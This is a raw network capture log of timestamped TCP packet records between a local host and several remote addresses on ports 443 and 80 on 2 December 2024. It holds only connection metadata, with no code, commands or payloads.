Dec 2, 2024 07:37:16.329389095 CET	49713	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.329408884 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.329462051 CET	49713	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.380276918 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.380315065 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.380484104 CET	49713	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.380496025 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.380544901 CET	49713	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.510063887 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.510087967 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.510263920 CET	49713	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.510276079 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.510441065 CET	49713	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.547269106 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.547293901 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.547478914 CET	49713	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.547489882 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.547533035 CET	49713	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.568003893 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.568032980 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.568178892 CET	49713	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.568191051 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.568233013 CET	49713	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.585777998 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.585798025 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.585931063 CET	49713	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.585943937 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.585988045 CET	49713	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.706964016 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.706986904 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.707137108 CET	49713	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.707168102 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.707221985 CET	49713	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.722743988 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.722763062 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.722884893 CET	49713	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.722898006 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.722950935 CET	49713	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.735992908 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.736011028 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.736187935 CET	49713	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.736196995 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.736244917 CET	49713	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.751283884 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.751301050 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.751467943 CET	49713	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.751478910 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.751537085 CET	49713	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.766526937 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.766544104 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.766618013 CET	49713	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.766628981 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.766730070 CET	49713	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.780888081 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.780913115 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.780966043 CET	49713	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.780973911 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.781014919 CET	49713	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.781099081 CET	49713	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.787298918 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.787363052 CET	49713	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.787369967 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.787408113 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.787424088 CET	49713	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.787466049 CET	49713	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.788080931 CET	49713	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.788099051 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.788110018 CET	49713	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.788115978 CET	443	49713	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.968638897 CET	49714	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.968702078 CET	443	49714	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.968799114 CET	49714	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.981945992 CET	49715	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.981971979 CET	443	49715	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.982064009 CET	49715	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.982753992 CET	49716	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.982806921 CET	443	49716	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.982918024 CET	49714	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.982934952 CET	443	49714	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.982990026 CET	49716	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.983032942 CET	49716	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.983043909 CET	443	49716	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.984862089 CET	49717	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.984889984 CET	443	49717	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.984952927 CET	49717	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.985318899 CET	49715	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.985335112 CET	443	49715	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.986047983 CET	49718	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.986063004 CET	443	49718	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.986162901 CET	49718	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.986186981 CET	49717	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.986201048 CET	443	49717	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:16.986319065 CET	49718	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:16.986335039 CET	443	49718	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:18.700954914 CET	443	49717	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:18.702934980 CET	49717	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:18.702948093 CET	443	49717	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:18.704118013 CET	49717	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:18.704123020 CET	443	49717	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:18.763161898 CET	443	49714	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:18.763865948 CET	49714	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:18.763880968 CET	443	49714	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:18.764400005 CET	49714	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:18.764405012 CET	443	49714	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:18.768748045 CET	443	49715	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:18.769298077 CET	49715	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:18.769308090 CET	443	49715	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:18.769798994 CET	49715	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:18.769804001 CET	443	49715	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:18.827428102 CET	443	49716	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:18.828282118 CET	49716	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:18.828305960 CET	443	49716	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:18.828907967 CET	49716	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:18.828915119 CET	443	49716	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:18.830681086 CET	443	49718	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:18.831307888 CET	49718	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:18.831326008 CET	443	49718	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:18.831758022 CET	49718	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:18.831763029 CET	443	49718	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:19.144445896 CET	443	49717	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:19.144471884 CET	443	49717	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:19.144628048 CET	49717	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:19.144648075 CET	443	49717	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:19.145159960 CET	443	49717	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:19.145216942 CET	49717	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:19.150912046 CET	49717	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:19.150923014 CET	443	49717	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:19.150937080 CET	49717	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:19.150942087 CET	443	49717	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:19.155632973 CET	49719	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:19.155653000 CET	443	49719	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:19.155723095 CET	49719	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:19.156058073 CET	49719	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:19.156069040 CET	443	49719	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:19.206844091 CET	443	49714	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:19.206918955 CET	443	49714	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:19.206989050 CET	49714	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:19.209259033 CET	49714	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:19.209284067 CET	443	49714	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:19.209305048 CET	49714	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:19.209311008 CET	443	49714	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:19.217786074 CET	443	49715	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:19.217808008 CET	443	49715	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:19.217879057 CET	49715	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:19.217890978 CET	443	49715	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:19.217983007 CET	49715	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:19.220490932 CET	49715	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:19.220490932 CET	49715	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:19.220499992 CET	443	49715	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:19.220726013 CET	443	49715	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:19.220760107 CET	443	49715	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:19.220805883 CET	49715	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:19.221585989 CET	49720	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:19.221649885 CET	443	49720	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:19.221714020 CET	49720	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:19.222017050 CET	49720	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:19.222043037 CET	443	49720	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:19.223526955 CET	49721	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:19.223543882 CET	443	49721	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:19.223608017 CET	49721	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:19.223750114 CET	49721	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:19.223763943 CET	443	49721	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:19.282577991 CET	443	49716	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:19.282613039 CET	443	49716	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:19.282677889 CET	49716	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:19.282702923 CET	443	49716	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:19.282761097 CET	49716	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:19.282995939 CET	49716	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:19.282995939 CET	49716	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:19.283006907 CET	443	49716	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:19.283128977 CET	443	49716	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:19.283155918 CET	443	49716	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:19.283204079 CET	49716	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:19.285235882 CET	443	49718	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:19.285274982 CET	443	49718	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:19.285365105 CET	49718	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:19.285823107 CET	49718	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:19.285823107 CET	49718	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:19.285841942 CET	443	49718	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:19.285850048 CET	443	49718	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:19.286238909 CET	49722	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:19.286319971 CET	443	49722	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:19.286391020 CET	49722	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:19.286525011 CET	49722	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:19.286547899 CET	443	49722	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:19.288908005 CET	49723	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:19.288918972 CET	443	49723	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:19.288990021 CET	49723	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:19.289123058 CET	49723	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:19.289134026 CET	443	49723	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:19.889588118 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:20.009506941 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:20.009790897 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:20.010643959 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:20.130482912 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:21.116617918 CET	49673	443	192.168.2.6	173.222.162.64
Dec 2, 2024 07:37:21.116632938 CET	49674	443	192.168.2.6	173.222.162.64
Dec 2, 2024 07:37:21.285175085 CET	443	49722	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:21.285479069 CET	443	49720	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:21.285954952 CET	49722	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:21.285995960 CET	443	49722	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:21.286068916 CET	49720	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:21.286078930 CET	443	49720	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:21.286498070 CET	49722	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:21.286513090 CET	443	49722	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:21.286541939 CET	49720	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:21.286546946 CET	443	49720	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:21.335832119 CET	443	49719	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:21.336528063 CET	49719	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:21.336558104 CET	443	49719	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:21.337012053 CET	49719	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:21.337017059 CET	443	49719	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:21.390207052 CET	443	49723	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:21.390907049 CET	49723	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:21.390934944 CET	443	49723	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:21.391443968 CET	49723	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:21.391448975 CET	443	49723	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:21.433780909 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:21.433866024 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:21.442934036 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:21.444746017 CET	49672	443	192.168.2.6	173.222.162.64
Dec 2, 2024 07:37:21.486479044 CET	443	49721	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:21.487157106 CET	49721	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:21.487183094 CET	443	49721	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:21.487690926 CET	49721	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:21.487698078 CET	443	49721	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:21.562836885 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:21.753186941 CET	443	49720	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:21.753297091 CET	443	49720	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:21.753381968 CET	49720	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:21.753674984 CET	49720	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:21.753736973 CET	443	49720	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:21.753768921 CET	49720	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:21.753787994 CET	443	49720	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:21.754530907 CET	443	49722	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:21.754595995 CET	443	49722	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:21.754641056 CET	49722	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:21.754849911 CET	49722	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:21.754865885 CET	443	49722	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:21.757105112 CET	49725	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:21.757157087 CET	443	49725	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:21.757260084 CET	49725	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:21.757566929 CET	49726	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:21.757603884 CET	443	49726	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:21.757644892 CET	49725	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:21.757661104 CET	443	49725	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:21.757666111 CET	49726	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:21.757750034 CET	49726	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:21.757764101 CET	443	49726	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:21.782658100 CET	443	49719	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:21.782716990 CET	443	49719	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:21.782799959 CET	49719	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:21.783044100 CET	49719	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:21.783060074 CET	443	49719	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:21.783071995 CET	49719	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:21.783077002 CET	443	49719	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:21.785737991 CET	49727	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:21.785749912 CET	443	49727	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:21.785815001 CET	49727	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:21.785953045 CET	49727	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:21.785964012 CET	443	49727	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:21.825413942 CET	443	49723	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:21.825479984 CET	443	49723	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:21.825534105 CET	49723	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:21.825716972 CET	49723	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:21.825731993 CET	443	49723	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:21.825757027 CET	49723	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:21.825762987 CET	443	49723	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:21.828902006 CET	49728	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:21.828915119 CET	443	49728	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:21.828978062 CET	49728	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:21.829118013 CET	49728	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:21.829128981 CET	443	49728	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:21.917880058 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:21.917964935 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:21.919384956 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:21.930049896 CET	443	49721	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:21.930114985 CET	443	49721	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:21.930182934 CET	49721	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:21.930435896 CET	49721	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:21.930435896 CET	49721	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:21.930453062 CET	443	49721	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:21.930461884 CET	443	49721	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:21.933748007 CET	49729	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:21.933763981 CET	443	49729	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:21.933844090 CET	49729	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:21.934056044 CET	49729	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:21.934068918 CET	443	49729	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:22.039350033 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:22.385075092 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:22.385221958 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:22.385231972 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:22.385286093 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:22.386748075 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:22.506634951 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:22.845176935 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:22.845242977 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:22.845254898 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:22.845254898 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:22.845313072 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:22.845313072 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:22.845354080 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:22.845386982 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:22.845398903 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:22.845407963 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:22.845444918 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:22.860130072 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:22.980055094 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:23.076849937 CET	49730	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:37:23.076899052 CET	443	49730	20.198.119.143	192.168.2.6
Dec 2, 2024 07:37:23.076981068 CET	49730	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:37:23.077754974 CET	49730	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:37:23.077773094 CET	443	49730	20.198.119.143	192.168.2.6
Dec 2, 2024 07:37:23.317668915 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:23.317867994 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:23.538286924 CET	443	49726	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:23.538503885 CET	443	49725	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:23.547245026 CET	49726	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:23.547269106 CET	443	49726	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:23.547789097 CET	49726	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:23.547794104 CET	443	49726	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:23.548214912 CET	49725	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:23.548238039 CET	443	49725	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:23.549310923 CET	49725	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:23.549318075 CET	443	49725	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:23.564250946 CET	443	49727	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:23.566117048 CET	49727	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:23.566124916 CET	443	49727	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:23.569235086 CET	49727	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:23.569240093 CET	443	49727	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:23.573982000 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:23.574039936 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:23.608376980 CET	443	49728	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:23.619877100 CET	49728	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:23.619885921 CET	443	49728	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:23.622493029 CET	49728	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:23.622498035 CET	443	49728	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:23.657687902 CET	443	49729	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:23.658195972 CET	49729	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:23.658214092 CET	443	49729	13.107.246.63	192.168.2.6
